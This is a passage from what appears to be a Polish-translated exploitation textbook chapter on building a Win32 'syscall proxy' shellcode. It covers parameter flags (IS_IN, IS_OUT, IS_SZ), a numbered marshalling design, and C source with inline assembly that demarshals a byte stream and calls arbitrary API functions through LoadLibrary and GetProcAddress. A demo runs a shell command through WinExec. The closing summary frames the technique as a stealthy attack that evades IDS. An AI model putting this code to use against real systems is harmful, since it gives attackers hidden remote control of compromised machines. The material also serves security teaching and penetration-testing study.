obsłużyć zwrócone dane. Kodem powrotu dla CreateFile jest HANDLE (nieoznaczona 4-bajtowa liczba całkowita), co oznacza, że jest to rzecz, a nie wskaźnik do rzeczy. Ale jest tutaj problem — określamy wszystkie parametry funkcji jako parametry wejściowe i tylko wartość zwracaną jako parametr wyjściowy, co oznacza, że nigdy nie możemy zwrócić żadnych danych poza kodem powrotu do funkcji. Możemy rozwiązać ten problem, tworząc jeszcze dwie flagi wpisów listy parametrów:

IS_IN: parametr jest przekazywany jako dane wejściowe do funkcji.

IS_OUT: parametr przechowuje dane zwrócone z funkcji.

Te dwie flagi obejmowałyby również sytuację, w której mieliśmy wartość, która była zarówno wejściową, jak i wyprowadzoną z funkcji, taką jak parametr lpcbData w następującym prototypie:

LONG RegQueryValueEx(

HKEY hKey, // uchwyt do klucza do zapytania

LPTSTR lpValueName, // adres nazwy wartości do zapytania

LPDWORD lpZarezerwowane, // zastrzeżone

LPDWORD lpType, // adres bufora dla typu wartości

LPBYTE lpData, // adres bufora danych

LPDWORD lpcbData // adres rozmiaru bufora danych

);

Jest to funkcja Win32 API używana do pobierania danych z klucza w rejestrze Windows. Na wejściu parametr lpcbData wskazuje na DWORD, który zawiera długość bufora danych, do którego należy wczytać wartość. Na wyjściu zawiera długość danych, które zostały skopiowane do bufora. Dlatego szybko sprawdzamy kilka innych prototypów:

BOOL ReadFile(

HANDLE hFile, // handle of file to read

LPVOID lpBuffer, // pointer to buffer that receives data

DWORD nNumberOfBytesToRead, // number of bytes to read

LPDWORD lpNumberOfBytesRead, // pointer to number of bytes read

LPOVERLAPPED lpOverlapped // pointer to structure for data

);

Poradzimy sobie z tym - możemy określić bufor wyjściowy o dowolnej wielkości, a żaden z pozostałych parametrów nie sprawia nam żadnych problemów. Przydatną konsekwencją sposobu, w jaki łączymy nasze parametry, jest to, że nie musimy wysyłać 1000 bajtów bufora wejściowego przez przewód, gdy wywołujemy ReadFile - mówimy po prostu, że mamy parametr IS_OUT o rozmiarze 1000 bajtów - wysyłamy 5 bajtów do odczytu 1000, zamiast wysyłać 1005 bajtów. Musimy długo i ciężko szukać funkcji, której nie możemy wywołać za pomocą tego mechanizmu. Jednym z problemów, jaki możemy mieć, są funkcje przydzielające bufory i zwracają wskaźniki do buforów, które przydzielili. Na przykład powiedzmy, że mamy taką funkcję:

MyStruct *GetMyStructure();

Poradzilibyśmy sobie z tym w tej chwili, określając, że zwracana wartość to IS_PTR i IS_OUT oraz ma sizeof( struct MyStruct), co dałoby nam dane w zwróconej MyStruct, ale wtedy nie mielibyśmy adresu struktury, więc że możemy go uwolnić. Tak więc, połączmy nasze zwrócone dane wartości zwracanych, tak że gdy zwracamy typ wskaźnika, zwracamy również wartość dosłowną. W ten sposób zawsze zachowamy dodatkowe 4 bajty na dosłowny kod powrotu, niezależnie od tego, czy jest to dosłowny, czy nie. To rozwiązanie obsługuje większość przypadków, ale wciąż pozostaje kilka. Rozważ następujące:

char *asctime( const struct tm *timeptr );

Funkcja asctime() zwraca zakończony znakiem NUL łańcuch o maksymalnej długości 24 bajtów. Możemy to również pominąć, wymagając, abyśmy określili zwracany rozmiar dla wszystkich zwróconych buforów ciągów zakończonych znakiem null. Ale to nie jest zbyt wydajne pod względem przepustowości, więc dodajmy flagę zakończoną wartością NULL, IS_SZ (dane są wskaźnikiem do bufora zakończonego znakiem NUL), a także flagę zakończoną wartością NULL, IS_SZZ (dane są wskaźnikiem do bufora zakończonego dwoma bajtami null — na przykład ciągiem Unicode). Musimy ułożyć nasz shellcode proxy w następujący sposób:

1. Pobierz nazwę biblioteki DLL zawierającej funkcję

2. Uzyskaj nazwę funkcji

3. Uzyskaj liczbę parametrów

4. Uzyskaj ilość danych, które musimy zarezerwować dla parametrów wyjściowych

5. Pobierz flagi funkcji (konwencja wywoływania itd.)

6. Uzyskaj parametry:

a. Pobierz flagi parametrów (ptr, in, out, sz, szz)

b. Uzyskaj rozmiar parametru

c. (jeśli in lub inout) Pobierz dane parametrów

d. Jeśli nie ptr, wciśnij wartość parametru

e. Jeśli ptr, przesuń wskaźnik na dane

f. Zmniejsz liczbę parametrów; jeśli więcej parametrów, uzyskaj inny parametr

7. Funkcja połączeń

8. Zwróć dane „wychodzące”

Mamy teraz ogólny projekt serwera proxy shellcodu, który może obsłużyć prawie całe API Win32. Zaletą naszego mechanizmu jest to, że całkiem dobrze radzimy sobie ze zwracanymi danymi i oszczędzamy przepustowość dzięki koncepcji wejścia/wyjścia. Minusem jest to, że musimy określić prototyp dla każdej funkcji, którą chcemy wywołać, w formacie typu idl (co właściwie nie jest bardzo trudne, ponieważ prawdopodobnie wywołasz tylko około 40 lub 50 funkcji). Poniższy kod pokazuje, jak wygląda nieco okrojona sekcja proxy w shellcodzie. Interesującą częścią jest AsmDemarshallAndCall. Ręcznie konfigurujemy większość tego, co nasz exploit zrobi dla nas — pobranie adresów LoadLibrary i GetProcAddress oraz ustawienie ebx tak, aby wskazywał początek odbieranego strumienia danych.

```
// rsc.c

// Simple windows remote system call mechanism

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

int Marshall( unsigned char flags, unsigned size, unsigned char *data,

unsigned char *out, unsigned out_len )

{

out[0] = flags;

*((unsigned *)(&(out[1]))) = size;

memcpy( &(out[5]), data, size );

return size + 5;

////////////////////////////

// Parameter Flags /////////

////////////////////////////

// this thing is a pointer to a thing, rather than the thing itself

#define IS_PTR 0x01

// everything is either in, out or in | out
```

```
#define IS_IN 0x02
#define IS_OUT 0x04
// null terminated data
#define IS_SZ 0x08
// null short terminated data (e.g. unicode string)
#define IS_SZZ 0x10
////////////////////////////
// Function Flags //////////
////////////////////////////
// function is __cdecl (default is __stdcall)
#define FN_CDECL 0x01
int AsmDemarshallAndCall( unsigned char *buff, void *loadlib, void
*getproc )
{
// params:
// ebp: dllname
// +4 : fnname
// +8 : num_params
// +12 : out_param_size
// +16 : function_flags
// +20 : params_so_far
// +24 : loadlibrary
// +28 : getprocaddress
// +32 : address of out data buffer
_asm
{
// set up params - this is a little complicated
// due to the fact we're calling a function with inline asm
push ebp
sub esp, 0x100
mov ebp, esp
```

```
mov ebx, dword ptr[ebp+0x158]; // buff
mov dword ptr [ebp + 12], 0;
mov eax, dword ptr [ebp+0x15c];//loadlib
mov dword ptr[ebp + 24], eax;
mov eax, dword ptr [ebp+0x160];//getproc
mov dword ptr[ebp + 28], eax;
mov dword ptr [ebp], ebx; // ebx = dllname
sub esp, 0x800; // give ourselves some data space
mov dword ptr[ebp + 32], esp;
jmp start;
// increment ebx until it points to a ‘0’ byte
skip_string:
mov al, byte ptr [ebx];
cmp al, 0;
jz done_string;
inc ebx;
jmp skip_string;
done_string:
inc ebx;
ret;
start:
// so skip the dll name
call skip_string;
// store function name
mov dword ptr[ ebp + 4 ], ebx
// skip the function name
call skip_string;
// store parameter count
mov ecx, dword ptr [ebx]
mov edx, ecx
mov dword ptr[ ebp + 8 ], ecx
```

```
// store out param size
add ebx,4
mov ecx, dword ptr [ebx]
mov dword ptr[ ebp + 12 ], ecx
// store function flags
add ebx,4
mov ecx, dword ptr [ebx]
mov dword ptr[ ebp + 16 ], ecx
add ebx,4
// in this loop, edx holds the num parameters we have left to do.
next_param:
cmp edx, 0
je call_proc
mov cl, byte ptr[ ebx ]; // cl = flags
inc ebx;
mov eax, dword ptr[ ebx ]; // eax = size
add ebx, 4;
mov ch,cl;
and cl, 1; // is it a pointer?
jz not_ptr;
mov cl,ch;
// is it an ‘in’ or ‘inout’ pointer?
and cl, 2;
jnz is_in;
// so it’s an ‘out’
// get current data pointer
mov ecx, dword ptr [ ebp + 32 ]
push ecx
// set our data pointer to end of data buffer
add dword ptr [ ebp + 32 ], eax
add ebx, eax
```

```
dec edx
jmp next_param
is_in:
push ebx
// arg is ‘in’ or ‘inout’
// this implies that the data is contained in the received packet
add ebx, eax
dec edx
jmp next_param
not_ptr:
mov eax, dword ptr[ ebx ];
push eax;
add ebx, 4
dec edx
jmp next_param;
call_proc:
// args are now set up. let’s call...
mov eax, dword ptr[ ebp ];
push eax;
mov eax, dword ptr[ ebp + 24 ];
call eax;
mov ebx, eax;
mov eax, dword ptr[ ebp + 4 ];
push eax;
push ebx;
mov eax, dword ptr[ ebp + 28 ];
call eax; // this is getprocaddress
call eax; // this is our function call
// now we tidy up
add esp, 0x800;
add esp, 0x100;
```

```
pop ebp
}
return 1;
}
int main( int argc, char *argv[] )
{
unsigned char buff[ 256 ];
unsigned char *psz;
DWORD freq = 1234;
DWORD dur = 1234;
DWORD show = 0;
HANDLE hk32;
void *loadlib, *getproc;
char *cmd = “cmd /c dir > c:\\foo.txt”;
psz = buff;
strcpy( psz, “kernel32.dll” );
psz += strlen( psz ) + 1;
strcpy( psz, “WinExec” );
psz += strlen( psz ) + 1;
*((unsigned *)(psz)) = 2; // parameter count
psz += 4;
*((unsigned *)(psz)) = strlen( cmd ) + 1; // parameter size
psz += 4;
// set fn_flags
*((unsigned *)(psz)) = 0;
psz += 4;
psz += Marshall( IS_IN, sizeof( DWORD ), (unsigned char *)&show,
psz, sizeof( buff ) );
psz += Marshall( IS_PTR | IS_IN, strlen( cmd ) + 1, (unsigned char
*)cmd, psz, sizeof( buff ) );
hk32 = LoadLibrary( “kernel32.dll” );
```

```
loadlib = GetProcAddress( hk32, “LoadLibraryA” );

getproc = GetProcAddress( hk32, “GetProcAddress” );

AsmDemarshallAndCall( buff, loadlib, getproc );

return 0;

}
```

W obecnej postaci ten przykład wykonuje nieco mniej ekscytujące zadanie polegające na rozgraniczeniu i wywołaniu WinExec w celu utworzenia pliku w katalogu głównym dysku C. Ale próbka działa i jest demonstracją procesu rozgraniczenia. Rdzeń mechanizmu to nieco ponad 128 bajtów. Po dodaniu całego otaczającego kodu gniazd i niezależności na poziomie poprawek nadal masz mniej niż 500 bajtów na cały serwer proxy.

**Podsumowanie**

Dowiedziałeś się, jak zrobić łatę środowiska uruchomieniowego za pomocą shellcodu. Zamiast tworzyć prosty shellcode typu connect-back, który może być łatwy do wykrycia przez system IDS, subtelne łatanie w czasie wykonywania stanowi doskonały atak z ukrycia na test penetracyjny. Szczegółowo omówiliśmy również koncepcję serwerów proxy syscall, ponieważ większość shellcodu prawdopodobnie zostanie zaimplementowana w serwerach proxy syscall w przyszłości.